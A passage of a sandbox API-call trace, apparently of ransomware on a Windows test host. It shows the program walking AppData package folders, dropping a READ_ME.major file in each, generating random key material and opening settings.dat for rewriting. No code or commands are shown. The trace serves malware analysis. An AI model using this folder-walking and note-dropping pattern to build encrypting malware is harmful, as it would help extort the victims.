ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ceb8 [0194.616] FindNextFileW (in: hFindFile=0x2f2ceb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.616] FindNextFileW (in: hFindFile=0x2f2ceb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.616] FindNextFileW (in: hFindFile=0x2f2ceb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f89590 [0194.617] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopLearning_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c9b8 [0194.617] FindNextFileW (in: hFindFile=0x2f2c9b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df3049, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81df3049, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.617] FindNextFileW (in: hFindFile=0x2f2c9b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.617] FindNextFileW (in: hFindFile=0x2f2c9b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bb7ef03, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bb7ef03, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bb7ef03, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cd90 [0194.617] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd6ec69, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cf38 [0194.617] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd6ec69, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.617] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.617] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc [0194.619] WriteFile (in: hFile=0xacc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.619] CloseHandle (hObject=0xacc) returned 1 [0194.620] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.620] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc [0194.620] WriteFile (in: hFile=0xacc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.621] CloseHandle (hObject=0xacc) returned 1 [0194.621] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.621] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc [0194.623] WriteFile (in: hFile=0xacc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.624] CloseHandle (hObject=0xacc) returned 1 [0194.624] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bd6ec69, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd6ec69, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd6ec69, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.624] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.624] FindNextFileW (in: hFindFile=0x2f2cf38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80d4289c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80d4289c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80d4289c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f896e0 [0194.624] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd6ec69, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c9f8 [0194.624] FindNextFileW (in: hFindFile=0x2f2c9f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd6ec69, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.624] FindNextFileW (in: hFindFile=0x2f2c9f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd6ec69, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd6ec69, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.625] FindNextFileW (in: hFindFile=0x2f2c9f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd6ec69, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd6ec69, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88db0 [0194.625] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cf78 [0194.625] FindNextFileW (in: hFindFile=0x2f2cf78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.625] FindNextFileW (in: hFindFile=0x2f2cf78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.625] FindNextFileW (in: hFindFile=0x2f2cf78, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f891a0 [0194.625] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2cfb8 [0194.625] FindNextFileW (in: hFindFile=0x2f2cfb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.625] FindNextFileW (in: hFindFile=0x2f2cfb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.625] FindNextFileW (in: hFindFile=0x2f2cfb8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88fa8 [0194.626] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2ca38 [0194.626] FindNextFileW (in: hFindFile=0x2f2ca38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x2f2ca38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x2f2ca38, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f891a0 [0194.626] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2c838 [0194.626] FindNextFileW (in: hFindFile=0x2f2c838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x2f2c838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd94ead, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2bd94ead, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2bd94ead, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x2f2c838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80cf63bf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x2f2c838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.626] FindNextFileW (in: hFindFile=0x2f2c838, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cf63bf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80cf63bf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0194.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85cc0 [0194.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0194.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.627] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85928 [0194.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0194.627] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\DesktopView_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\desktopview_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xae0 [0194.628] GetFileSizeEx (in: hFile=0xae0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0194.628] RtlAllocateHeap 